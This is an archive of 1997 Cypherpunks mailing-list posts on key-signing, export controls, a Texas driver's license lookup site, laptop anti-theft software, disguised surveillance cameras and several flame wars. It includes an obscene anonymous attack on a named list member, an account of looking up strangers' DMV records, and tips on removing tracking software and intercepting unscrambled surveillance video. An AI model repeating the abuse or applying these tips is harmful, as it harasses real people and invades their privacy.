Message-ID: <199706112323.QAA12560@peregrine.eng.sun.com>



> ...  There will also
> be a regular 2nd-Saturday c'punks meeting this month (I think it's at
> PGP, Inc.)

Hi all; I haven't seen the agenda yet, but if there is time & interest,
I would be willing to organize a PGP key-signing party.

Signify interest by mailing your key -- or a pointer to it -- to me
by Friday.  Come to the c'punks meeting with photo ID and your PGP
fingerprint.

It would also be way cool if we could get some of the folks at PGP Inc.
to join in.

More info on key-signing parties will be at
www.best.com/~falconer/keyparty.html by tommorrow.

	-ed falk






From nobody at huge.cajones.com  Wed Jun 11 17:08:51 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 12 Jun 1997 08:08:51 +0800
Subject: export rules obsolete, says U.S. official
Message-ID: <199706112350.QAA31056@fat.doobie.com>




http://www.nando.net/newsroom/ntn/info/061197/info12_13274.html

   ______________________________________________________________________
                                      
            Supercomputer export rules obsolete, says U.S. official
  __________________________________________________________________________
                                       
      Copyright ) 1997 Nando.net
      Copyright ) 1997 The Associated Press
      
   WASHINGTON (June 11, 1997 5:56 p.m. EDT) -- A Commerce Department
   official denied that Clinton administration export policies let U.S.
   supercomputers be used by hostile nations for weapons and said old
   controls are now unworkable.
   
   The president's 1995 decision to loosen export controls on
   supercomputers and other high-tech products recognized that technology
   is advancing at lightning speed and already is available throughout
   the world, William A. Reinsch, Commerce's undersecretary for export
   administration, said Wednesday.
   
   Harsher restrictions on the export of the most powerful computers
   would be of limited benefit, he said.
   
   "Efforts to control at lower levels will not only be unsuccessful,
   they will limit our ability to widely disseminate American standards
   and software and damage our companies economically," Reinsch told the
   Senate Governmental Affairs subcommittee on international security,
   proliferation and federal services.
   
   "When President Clinton took office he was urged by congressional
   leaders of both parties to make long-overdue reforms in this area,"
   Reinsch said. "I believe our efforts to do that have been a model of
   good government decision making."
   
   Sen. Thad Cochran, subcommittee chairman, retorted that Russia's
   premier nuclear weapons labs have five American supercomputers, and at
   least 46 are used in China.
   
   "The good news is that some of these major scientific technological
   institutes across China may not be involved in developing weapons of
   mass destruction and missile delivery systems for China and its
   clients. But some surely are," Cochran, R-Miss., said. "And they're
   doing this work courtesy of what appears to be, at best, a deeply
   flawed U.S. export-control policy."
   
   The United States restricts export of fast-calculating supercomputers
   to nonallies. Military uses to which supercomputers can be put are
   testing nuclear weapons, building accurate missiles and developing
   code-breaking technology.
   
   Reinsch said the Justice Department is investigating three sales of
   supercomputers overseas, two in Russia and one to the Chinese Academy
   of Sciences. The sales are suspected of violating U.S. regulations
   designed to keep U.S. technology from falling into the wrong hands.
   
   Commerce officials also are checking into whether U.S. supercomputers
   sold to customers in Dubai have been resold to Iran, he said.
   
   Two Republican House members, Rep. Henry Hyde of Illinois and Rep.
   Tillie K. Fowler of Florida, have demanded a Justice Department
   investigation into sales of sensitive equipment to China as part of
   its inquiry into foreign campaign contributions to Democrats.
   
   In a May 22 letter to Attorney General Janet Reno, the lawmakers said
   the situation raises questions about whether campaign contributions
   from Asian donors led to the sales.
   
   In response to a question from Cochran, Reinsch said he didn't think
   the Commerce Department had been asked to turn over information as
   part of such an investigation, "but we will certainly turn over to
   them whatever they ask for."
   
   By CASSANDRA BURRELL, Associated Press Writer
     _________________________________________________________________
   
   [ Global | Stateside | Sports | Politics | Opinions | Business |
   Techserver | Health & Science | Entertainment | Weather | Baseball |
   Basketball | Football | Hockey | Sport Server | MAIN ]
     _________________________________________________________________
   
   
    Copyright ) 1997 Nando.net
    Do you have some feedback for the Nando Times staff?






From pooh at efga.org  Wed Jun 11 17:16:12 1997
From: pooh at efga.org (Robert A. Costner)
Date: Thu, 12 Jun 1997 08:16:12 +0800
Subject: (Fwd) FWD: Texas Driver's License database on the web
In-Reply-To: <199706111929.MAA04945@toad.com>
Message-ID: <3.0.2.32.19970611200353.03296518@mail.atl.bellsouth.net>



-----BEGIN PGP SIGNED MESSAGE-----

At 05:01 PM 6/11/97 -0400, Ryan Anderson wrote:
>The (very very very very very) minor redeeming factor is that you have to
>be someone with knowledge of someone's valid Texas driver's license.  So
>it's not *FULLY* available on the net.  Though, someone will probably leak
>a userid in the next week or so, and then anyone can use it...

I am not in Texas, and I have used the system.  I took email name I suspected 
were in Texas and started looking up voter and DMV info.  Some I couldn't 
find, but I hit several people I have never met.  For some, I did a whois on 
their domain name and used that city to narrow the search.

I understand the site is now password protected, but they offer accounts to 
others who are not in Texas.


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQBVAwUBM58850GpGhRXg5NZAQF2qAH8C0GjhAwZ5dplRV8ITNrQSkV3VH6oTQHA
1kSLUvk8/L3M5yVSfIq3SGsAZBogY6MgcuV8P93h3Z/uDI+SS0gaGg==
=OEV6
-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh at efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key






From lucifer at dhp.com  Wed Jun 11 17:29:01 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Thu, 12 Jun 1997 08:29:01 +0800
Subject: Thoughtcrime   (Re: My War)
Message-ID: <199706120019.UAA06228@dhp.com>



tzeruch at ceddec.com wrote:
> On Tue, 10 Jun 1997, Steve Schear wrote:
> > I find lust to be a noble urge.
> 
> Then you probably find rape a noble deed.  I do not.  If you are referring
> to the acts our net.loon often posts to this list, I hope you enjoy
> placing yourself at his level.  My ideas originate above my limbic system.

  You forgot to add, "...and your mother wears army boots!" before
your attempted "guilt by association" slur and the placing of your
esteemed self on an intellectual pedestal.
  I have noticed in the list's dick wars and pissing contests that
those with the shortest dicks put themselves on pedestals in order
to compensate for their physical shortcomings and those with the 
smallest bladders use the largest dictionary in hopes that extra
acidity will compensate for lack of volume.

  It is my contention that those who enjoy "mental masturbation"
also "find lust to be a noble urge."
  Of course, I'm Chinese...I could be Wong.

A thousand monkeys spanking typewriters and purporting to be:
TruthMonger






From raymond at wcs.net  Wed Jun 11 17:32:18 1997
From: raymond at wcs.net (Raymond Mereniuk)
Date: Thu, 12 Jun 1997 08:32:18 +0800
Subject: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <3.0.32.19970611092701.00683c54@best.com>
Message-ID: <199706112341.QAA05443@mat.wcs.net>



>
> >                     The call goes to a Canadian office
> >                     that in turn phones the cops. So far,
> >                     it has a 100 percent recovery rate. 
> >
> ======  100% of WHAT?  Systems with it installed which are stolen?   How
> would you know what systems do NOT call in?  
> It's like the question the clerk asks at the airport: "Did anyone put
> anything in your luggage you don't know anything about?"
> 
> Now that the word is out, of course, the wily thief will eschew pluggin in
> until the hard drive is reformatted and installed
> with a clean OS.  As usual: the stupid will be caught. 

This has been discussed on this list before, about 1 year ago.  The 
Computrace software is installed on a place on the hard drive where 
DOS utilities like Fdisk and Format can not get at it.  This is the 
same as Diskmanager Version 7 or higher, Fdisk and Format will not 
remove this version of Diskmanager.

The Computrace software is configured to call the 1-800 number on a 
regular pre-assigned schedule and talk to the computers at Absolute 
Software.  If the notebook has been reported stolen the computers at 
Absolute will advise the subject unit to call back on a more frequent 
basis.  The Computrace software turns off all modem speaker 
functionality.

With all calls to a 1-800 number the calling number is reported to 
the call receiving site.  This is always the case and the calling 
party has no control over this feature, it just happens as the 1-800 
number owner is paying for the call.  As a matter of interest this 
type of business could not be based in the USA as it is unlawful to 
use the calling number information gained through 1-800 calls for any 
business advantage or use, including this one.  However, US LEAs have 
no problem cooperating with Absolute Software and they do cooperate.

I have no connection to Absolute Software other than I visited their 
web site and I have a pretty good idea how they perform their 
promises.  I have no idea on how to remove the Computrace program 
unless it is on a Seagate or Western Digital hard drive.  Both of 
these manufacturers make low-level format programs for their IDE 
drive products available on their web sites and a low-level format 
will remove Diskmanager and I assume Computrace.

I assume most notebooks which are recovered are found to be in the 
hands of a buyer rather than the person responsible for the actual 
theft.  But, the eventual buyer is indirectly responsible for the 
initial theft of the notebook.


Virtually

Raymond Mereniuk
Raymond at wcs.net






From ravage at einstein.ssz.com  Wed Jun 11 17:51:50 1997
From: ravage at einstein.ssz.com (Jim Choate)
Date: Thu, 12 Jun 1997 08:51:50 +0800
Subject: [CNN] Stolen Laptops and lame 'solution' (fwd)
Message-ID: <199706120020.TAA09073@einstein.ssz.com>



Hi,

Forwarded message:

> From: "Raymond Mereniuk" 
> Date: Wed, 11 Jun 1997 17:22:48 +0000
> Subject: Re: [CNN] Stolen Laptops and lame 'solution'

> theft.  But, the eventual buyer is indirectly responsible for the 
> initial theft of the notebook.

Bullshit. That is like saying the person being raped is responsible for the
rape. This is plain and simple victim-speak.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From whgiii at amaranth.com  Wed Jun 11 18:04:24 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Thu, 12 Jun 1997 09:04:24 +0800
Subject: [CNN] Stolen Laptops and lame 'solution'
Message-ID: <199706120058.TAA11167@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <199706112341.QAA05443 at mat.wcs.net>, on 06/11/97 
   at 05:22 PM, "Raymond Mereniuk"  said:

>I assume most notebooks which are recovered are found to be in the  hands
>of a buyer rather than the person responsible for the actual  theft. 
>But, the eventual buyer is indirectly responsible for the  initial theft
>of the notebook.

How is the buyer responsible even indirectly?

Someone puts an add in the paper NEC Laptop $1,500. I go and check it out
and buy it. Should it be my respocibility to call NEC over in Japan and
find out if it was reported stolen (if they even keep such records).
Should I have to call the manufacture every time I buy a some used
equipment? Perhaps I should have a background check done before I buy
anything.

If anyone is responcible for the theft other than the theif is the person
who was so carless with their equipment.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM59KoY9Co1n+aLhhAQEbLgP/f4DJARITmE0TH2A+unxHpXxLCOllQqCC
rUOATCG215sy6hK4Wy9a3k9AP3T4nAG/JpzAjK0n6Dw4poJLpZXE2PvjU3JGA2bH
vIXSjsBdecksFVFHwJyCKJTbds+TuUKwfRepyMRlhmg8cuJqh34XC037WRxPeE7s
dk9fdmyr1wA=
=XwvD
-----END PGP SIGNATURE-----






From die at pig.die.com  Wed Jun 11 18:22:32 1997
From: die at pig.die.com (Dave Emery)
Date: Thu, 12 Jun 1997 09:22:32 +0800
Subject: IRS T-Pole Surveillance
In-Reply-To: <3.0.1.32.19970611142023.006ad890@mail.njcc.com>
Message-ID: <199706120113.VAA02927@pig.die.com>



Michael  F. Reusch wrote :

> 
> >The Internal Revenue Service requires enclosed surveillance systems 
> >configured as transformers for mounting on telephone poles....
> 
	This and cameras disguised as Cable TV amplifiers are very
common means of diguising federal video surveillance gear.  Most
people don't know enough about what is on the wires and poles near
them to tell the difference, which is often subtle but obvious to
someone technically trained - things like pole pig transformers
that have no HV connection to the distribution wires...  or cable
line amplifiers not actually connected to a cable trunk line or
of a different type than the rest of the system.   Closer examination
will often disclose a little window with a lens behind it, which
of course is uncommon on regular pole pigs...

	Most of this gear transmits FM NTSC video signals in various
standard microwave bands (1.7 ghz 2.2 ghz 2.4, 5.3 ghz etc) used for much
federal bugging.   No attempt is usually made to scramble the 
signal, so if you have the right microwave receivers (some European
satellite receivers cover this band for example), you too can watch
some mafia don go into and out of his house....  TV stations have
occasionally  discovered these signals on their remote pickup
antennas for live newsfeeds from remote trucks - many of these operate
nearby in frequency from tall buildings or TV towers with huge line
of sight coverage and bored techs sometimes tune up and down the
band to see what they find ....

	I have actually seen one of the fake Cable TV amplifier
bugs for sale at the Dayton Ham flea market.  I didn't buy it,
but it was an interesting curio.

							Dave Emery
							Weston, Mass.






From ravage at EINSTEIN.ssz.com  Wed Jun 11 18:45:20 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Thu, 12 Jun 1997 09:45:20 +0800
Subject: Can you say anti-trust? [CNN]
Message-ID: <199706120113.UAA09234@einstein.ssz.com>



Forwarded message:

>    CNN logo 
>      
>              MICROSOFT, NETSCAPE JOIN FORCES IN WEB PRIVACY BATTLE
>                                        
>      June 11, 1997
>      Web posted at: 1:56 p.m. EDT (1756 GMT) web graphic
>      
>      WASHINGTON (AP) -- Microsoft Corp. and Netscape Communications
>      Corp., two of the Internet's biggest rivals, Wednesday announced a
>      stunning alliance aimed at more tightly controlling the personal
>      information that businesses collect about World Wide Web users.
>      
>      The teaming of the two software competitors reflected the heightened
>      concern in the business community that government regulators may
>      impose rules to crack down on privacy intrusions by Internet
>      companies.


    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From tzeruch at ceddec.com  Wed Jun 11 18:55:30 1997
From: tzeruch at ceddec.com (tzeruch at ceddec.com)
Date: Thu, 12 Jun 1997 09:55:30 +0800
Subject: Thoughtcrime   (Re: My War)
In-Reply-To: <199706120019.UAA06228@dhp.com>
Message-ID: <97Jun11.214843edt.32257-1@brickwall.ceddec.com>



On Wed, 11 Jun 1997, lucifer Anonymous Remailer wrote:

> tzeruch at ceddec.com wrote:
> > On Tue, 10 Jun 1997, Steve Schear wrote:
> > > I find lust to be a noble urge.
> > 
> > Then you probably find rape a noble deed.  I do not.  If you are referring
> > to the acts our net.loon often posts to this list, I hope you enjoy
> > placing yourself at his level.  My ideas originate above my limbic system.
> 
>   You forgot to add, "...and your mother wears army boots!" before
> your attempted "guilt by association" slur and the placing of your
> esteemed self on an intellectual pedestal.

Don't confuse Lust with Eros.

Lust is the desire for gratification at any cost, including one's own life
(in today's era of AIDS and yesterday's era of Syphillus, which is why it
is listed among the deadly sins).  Lust uses the other person for one's
own pleasure, and if the other is not willing doesn't care.

Eros, which is probably rare today, is the intimate and mutual exchange of
pleasure - the "other" is giving and receiving.  This is what has been
considered the noble form of sex, at least before today's revisionism.

But maybe everyone else on this list considers Lust "noble" and I am
merely old fashioned in believing in intimacy and self-giving and
self-control.  Does everyone believe that it is more noble to take what
you want at this moment than to give of yourself?







From fromtheroad at mapquest.com  Wed Jun 11 18:55:36 1997
From: fromtheroad at mapquest.com (From The Road)
Date: Thu, 12 Jun 1997 09:55:36 +0800
Subject: Mapquest From The Road
Message-ID: <199706111324.HAA10735@cabeza.mapquest.com>



MapQuest is pleased to present:
==========================================================
                       From The Road
             http://www.mapquest.com/fromtheroad
                       June 9, 1997
==========================================================

>From The Road is a members only newsletter published by MapQuest. 
Issues will consist of a brief email like this, linked to a Web 
version of FTR.  

Check out FTR on the Web at: http://www.mapquest.com/fromtheroad 
or read on.

At MapQuest, we are strong believers in online communities, and 
have long hoped for a way to introduce our members to each other. 
We hope to accomplish that by sharing the best MapQuest stories 
with all of our 1,000,000+ members. 

Each issue will contain the following regular features:

==============================

*NEW FEATURES DETOUR*  There's more to MapQuest than meets the eye.

Do you love Paris in the spring? Let us help you find your way 
around the highlights of Europe. 

==============================

*FROM THE DRIVER'S SEAT*  MapQuest member stories from TRW 
(the real world).

This issue's story From The Driver's Seat story takes us to the 
freeways of Southern California.  Read how one member uses 
MapQuest on the job. You don't want to be late for this meeting!

==============================

*MAP SIDE STORY*  Personal maps and the stories behind 'em.

Here's a unique CONTEST for all the avid mapmakers out there who 
have created personal maps. We want to show off the best 
personalized maps and the stories behind them. If your map really 
has personality, let us know. All of our winners will receive a 
prize from MapQuest.

==============================

*NEWS AND VIEWS*  A friendly fireside chat, only without the 
fireplace.

Join us for a moment of commentary as we discuss the growth 
of online travel services and the benefits to you, the consumer.

==============================

*THE WINNER'S CIRCLE*  Enter our Road Trip From Hell contest!

Tell us about your worst driving trip ever and you could WIN 
great prizes such as a weekend in San Francisco! Just click and 
enter at http://www.mapquest.com.

We hope you enjoy From The Road and decide to share your 
stories with us. 

Bon Voyage!

==========================================================
If this newsletter was passed on to you and you wish to subscribe, 
simply become a MapQuest member by visiting http://www.mapquest.com. 
A click on "Personalized Maps" will take you to our free member 
registration page. Each MapQuest member automatically receives 
>From The Road. 

If you do not wish to receive From The Road email announcements you 
may unsubscribe by sending us an email at fromtheroad at mapquest.com, 
with the subject line of the email reading: UNSUBSCRIBE. Even if you
unsubscribe, you will remain a MapQuest member. No hard feelings. ;-)
==========================================================






From ravage at EINSTEIN.ssz.com  Wed Jun 11 18:56:47 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Thu, 12 Jun 1997 09:56:47 +0800
Subject: Unleashing Micro Viruses on Networks (fwd)
Message-ID: <199706120125.UAA09309@einstein.ssz.com>



Hi,

Forwarded message:

> Date: Wed, 11 Jun 1997 13:57:00 -0400
> From: John Young 
> Subject: Unleashing Micro Viruses on Networks

>      6-11-97, Janes' Defence Weekly:

>      Thumbnail-sized micro-robots, known as `microbots', will
>      also be unleashed by micro-air vehicles and naval guns. These
>      parasites will creep into electronic equipment, attach
>      themselves, and keep themselves alive by draining generator
>      power. 
> 
>      Once the electronics system's energy is depleted, the fully
>      charged microscopic vermin will search for a new victim. 
> 
>      The main problem will be that they are too small to carry
>      identification equipment and so they infect indiscriminately.
>      As such, they must be deployed far away from allied
>      equipment. 
> 
>      However, packages of microbots can be destroyed remotely
>      as allies prepare to invade enemy territory. 

Check out:

Bug Park
James P. Hogan
ISBN 0-671-87773-9
$22.00 hardbound


    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From lucifer at dhp.com  Wed Jun 11 19:26:44 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Thu, 12 Jun 1997 10:26:44 +0800
Subject: Texas Driver's License database on the web
Message-ID: <199706120217.WAA11471@dhp.com>



Marshall Clow wrote: 
> >On Wed, 11 Jun 1997, Peter Trei wrote:
> >
> >>    Did Psychos-R-Us request this site?  "Could you create a database so I
> >> don't miss anyone when I go on a killing spree on the 900 block of
> >> Rosewood?"
 
> When my libertairan streak is in full flood, I think that since
> this information was collected by government employees and
> paid for by tax dollars, that it should be availiable to anyone
> who wants it, for (minimal or) no cost.
> 
> Of course, the better solution is to not collect the information
> at all. (Not selling it just means that people can buy it on the
> black market, or in the case of TRW, etc; buy legislatures)

  It amazes me that in an age when government and corporations have
access to untold mountains of information about all of us, that we
seem to get upset when Joe Average is given access to that same
information.
  The end result of this is that those with the most authority
(access to information) are able to exert power and control over
those with less access to the same information.

  Dateline NBC just did a show about a Health Insurance company
whose refused to tell a potential client that the blood test they
did on him was positive for HIV (even though they shared this
information with other insurance companies).
  I will wager that if a few dozen Joe and Jane Average citizens
knew of this and knew they could contact the man through the
Texas DPS database that one of them would have had the decency
to call the man and inform him of the life-threatening disease.

  The Machine feeds off of us by taking away our rights of self
expression and self defence and then convincing us that the
Machine is our benefactor and protector while our fellow humans
are a threat to us and should be feared.
  Thus we end up fearing people with different religious views
instead of the Machine that launches a murderous assault on the
men, women and children who are a threat to our mainstream views.
We end up fearing the janitor at the insurance company who may
well do volunteer work for good causes instead of fearing the
Machine that lets us die and infect our family members while
sharing our private information with other parts of the Machine.

  Yes, you may get attacked by some wacko who targets you and
finds your address from a database. Or, you may get attacked by
some wacko who targets someone else but can't find their address
from a database so they pick you as a random target.
  The Information Age is upon us, for better or worse. If all parts
of the Machine are going to know all my personal data, then I also
want for myself and Joe and Jane Average to have access to the same
data. If the BATF wants to look me up at home through use of a 
database, then I want Timothy McAverage to be able to look all of
them up through the same database.

  The Machine will make certain that every instance of some wacko
using accessed information to abuse someone gets front-page press.
No doubt the weak of wit will cry out for the Machine to protect
us from abuse of access to information. This makes as much sense
as asking to be protected from education and knowledge because
of the potential for abuse.
  We have citizens who decry the fact that information on explosives
should be freely available so they demand that the Machine which
produces nuclear weapons censor that information. God forbid that
someone would make a pipe bomb that wipes out a nuclear weapons
factory.

  Instead of "Give me freedom or give me death." we now have a
nation which cries out for security even if it means imprisonment.
In our desire for ultimately unattainable levels of safety and
security we allow (and even beg for) the Machine to imprison our
bodies, our minds and our spirit.
  Instead of putting child pornographers in prison we will put
cryptographers and remailer operators in prison. Instead of 
confiscating the assets of drug czars will confiscate the assets
of people who have a kid who smokes a joint once a week. Instead
of censoring legislation which limits our freedom and privacy
we will censor literature which proposes democratic assassination
of those who oppress us.

  Personal data privacy is history, for the most part. The focus
of those who wish to retain privacy in certain areas of their life
and their communication should be on technologies which will allow
them to *personally* keep those things private.
  To continue to leave public information only in the hands of the
corporate and government Machine is to continue to empower the
Machine and weaken the power of the citizen.

TruthMonger






From nobody at huge.cajones.com  Wed Jun 11 19:28:36 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 12 Jun 1997 10:28:36 +0800
Subject: [IMPORTANT] e$
Message-ID: <199706120220.TAA03032@fat.doobie.com>



May Tim C[ocksucker] May's forgeries get stuck up 
his ass so he'll have to shit through his filthy 
mouth for the rest of its miserable life.

        \\\
        {OQ} Tim C[ocksucker] May
         (_)






From ravage at EINSTEIN.ssz.com  Wed Jun 11 19:39:50 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Thu, 12 Jun 1997 10:39:50 +0800
Subject: Texas Driver's License database on the web (fwd)
Message-ID: <199706120208.VAA09509@einstein.ssz.com>



Forwarded message:

> Date: Wed, 11 Jun 1997 22:17:24 -0400
> Subject: Re:Texas Driver's License database on the web
> From: lucifer at dhp.com (lucifer Anonymous Remailer)

>   It amazes me that in an age when government and corporations have
> access to untold mountains of information about all of us, that we
> seem to get upset when Joe Average is given access to that same
> information.

I at least have a contractual relationship with both of them that provides
me at least some promise of fair arbitration. Something I don't have with
Joe Average implicitly.

>   The Machine feeds off of us by taking away our rights of self
> expression and self defence and then convincing us that the
> Machine is our benefactor and protector while our fellow humans
> are a threat to us and should be feared.

The Machine takes the rights we give up willingly for a long-term loan on a
40" television and another $10k a year.

>   Thus we end up fearing people with different religious views
> instead of the Machine that launches a murderous assault on the
> men, women and children who are a threat to our mainstream views.

Not just religious views, but skin color, sex, etc. This is a function of
all social animals (in fact the society wouldn't work if it wasn't) and in
particular primates. To draw the conclusion that this somehow flows from our
contractual agreements based on impatience and greed is illogical.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From raymond at wcs.net  Wed Jun 11 19:41:02 1997
From: raymond at wcs.net (Raymond Mereniuk)
Date: Thu, 12 Jun 1997 10:41:02 +0800
Subject: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <199706120058.TAA11171@mailhub.amaranth.com>
Message-ID: <199706120120.SAA05683@mat.wcs.net>




> How is the buyer responsible even indirectly?
> 
> Someone puts an add in the paper NEC Laptop $1,500. I go and check it out
> and buy it. Should it be my respocibility to call NEC over in Japan and
> 
> If anyone is responcible for the theft other than the theif is the person
> who was so carless with their equipment.
> 
Legally Law Enforcement Agencies (LEA) and the courts willl find you 
responsible for being in possession  of stolen property.  If you 
purchased the unit from a storefront or a person selling the unit 
from their home you could deflect responsibility to those parties.  
I would suspect most stolen units are fdisk-ed,  re-formatted, and 
moved a minimum of a state or province and then sold through brokers 
who operate through a pager or cell phone.  The units are sold 
probably more in the range of $600 to $700 CAN Dollars for 486 color 
units and abit  more for Pentium units.  The brokers may offer the 
unit through an auction.

At this point the buyer should start to suspect something is not 
right, the units are too cheap and all the proprietary drivers have 
been removed.  The reason given is that they are being disposed of by 
a large corporation and it is policy to erase all data.  No manuals 
or documentation are offered with the unit.  Normally when you 
purchase an unit from the original retail buyer manuals and 
documentation and extras would be included with the unit and the 
seller would probably be willing to show you the bill of sale.  Would 
you buy a car from a seller offering no documentation or proof of 
ownership.

It is tough to take the argument that stolen notebooks are the fault 
of the victim seriously.  Notebook thieves can be pretty 
enterprising.  They walk into offices dressed as maintainance people, 
buy pass keys from the real maintainance people and go through every 
office.  A friend had a notebook taken from a locked office in a 
supposedly secure area, no signs of break and entry so no insurance 
coverage and there were notebooks and computers taken from three 
locked offices in the middle of the day.  So in this case it was my 
friend's fault for doing business in a shared office environment 
where someone had sold a pass key to the thief??  

If there was no market for stolen notebooks thieves would not steal 
them as there would be no gain.  In my experience most people selling 
merchanise of doubtful origins are not sophisticated, ask lots of 
questions and their stories quickly fall apart.  I have walked away 
from many deals when the origin of the goods were not clearly 
explained and I would suggest you do the same.

Virtually

Raymond Mereniuk
Raymond at wcs.net






From whgiii at amaranth.com  Wed Jun 11 19:53:20 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Thu, 12 Jun 1997 10:53:20 +0800
Subject: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <199706120120.SAA05683@mat.wcs.net>
Message-ID: <199706120233.VAA12526@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <199706120120.SAA05683 at mat.wcs.net>, on 06/11/97 
   at 07:02 PM, "Raymond Mereniuk"  said:

>> How is the buyer responsible even indirectly?
>> 
>> Someone puts an add in the paper NEC Laptop $1,500. I go and check it out
>> and buy it. Should it be my respocibility to call NEC over in Japan and
>> 
>> If anyone is responcible for the theft other than the theif is the person
>> who was so carless with their equipment.
>> 
>Legally Law Enforcement Agencies (LEA) and the courts willl find you 
>responsible for being in possession  of stolen property.  If you 
>purchased the unit from a storefront or a person selling the unit  from
>their home you could deflect responsibility to those parties.   I would
>suspect most stolen units are fdisk-ed,  re-formatted, and  moved a
>minimum of a state or province and then sold through brokers  who operate
>through a pager or cell phone.  The units are sold  probably more in the
>range of $600 to $700 CAN Dollars for 486 color  units and abit  more for
>Pentium units.  The brokers may offer the  unit through an auction.

They will be sold at whatever the market will bear for used equipment
regardless of how the equipment was obtained. Usally the person who steals
the equipment will not be the one selling it to the general public so any
discounts because the item is "hot" are usally gone before it get's to joe
sixpack.

>At this point the buyer should start to suspect something is not  right,
>the units are too cheap and all the proprietary drivers have  been
>removed.  The reason given is that they are being disposed of by  a large
>corporation and it is policy to erase all data.  No manuals  or
>documentation are offered with the unit.  Normally when you  purchase an
>unit from the original retail buyer manuals and  documentation and extras
>would be included with the unit and the  seller would probably be willing
>to show you the bill of sale.  Would  you buy a car from a seller
>offering no documentation or proof of  ownership.

There is no comparison between the two. For better or worse there are
state madated ownership papers for autos. I can see that you have not
spent much time in the used electronics market. Equipment may change hands
multiple time over a period of years before it finaly reaches your hands.
It is common for the seller not to have any documentation or recipts for
the equipment. To use your comparison you wouldn't expect the owners
manual & receipt from the dealship when you went to buy a '65 F100 would
you?

>It is tough to take the argument that stolen notebooks are the fault  of
>the victim seriously.  Notebook thieves can be pretty 
>enterprising.  They walk into offices dressed as maintainance people, 
>buy pass keys from the real maintainance people and go through every 
>office.  A friend had a notebook taken from a locked office in a 
>supposedly secure area, no signs of break and entry so no insurance 
>coverage and there were notebooks and computers taken from three  locked
>offices in the middle of the day.  So in this case it was my  friend's
>fault for doing business in a shared office environment  where someone
>had sold a pass key to the thief??

No it was his fault for leaving the security of his property to someone
else who obviously has some rather poor security policies. I have wore out
more than 1 credit cards getting into locked offices because the key was
not available. The you have those that think a locked door is secure when
there is a 3' drop ceiling that anyone can use to climb over the door
with. If that had been $5,000 cash rather than that laptop I bet your
friend would have thought twice of leaving it in that room. 

>If there was no market for stolen notebooks thieves would not steal  them
>as there would be no gain.  In my experience most people selling 
>merchanise of doubtful origins are not sophisticated, ask lots of 
>questions and their stories quickly fall apart.  I have walked away  from
>many deals when the origin of the goods were not clearly  explained and I
>would suggest you do the same.

Bah this is just bull. The purchaser of used equipment is not looking for
stolen equipment. The market is for inexpensive used equipment which
theifs take advantage of. This is an important difference to make. The
amount of stolen equipment in the used equipment market is quite small.
The end buyer should not be held responcible for the illegal activities of
the seller.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM59g/o9Co1n+aLhhAQH+DgP/VP5nX7/kCPbRJVi5Tjxf2G2x9A45Wu9o
GkQE3tRrg47mhRtDiO14ZvcaLVMUsAUYp0Q7jO/Q0dgShCmaMR+0bbHNuv5+ZO2e
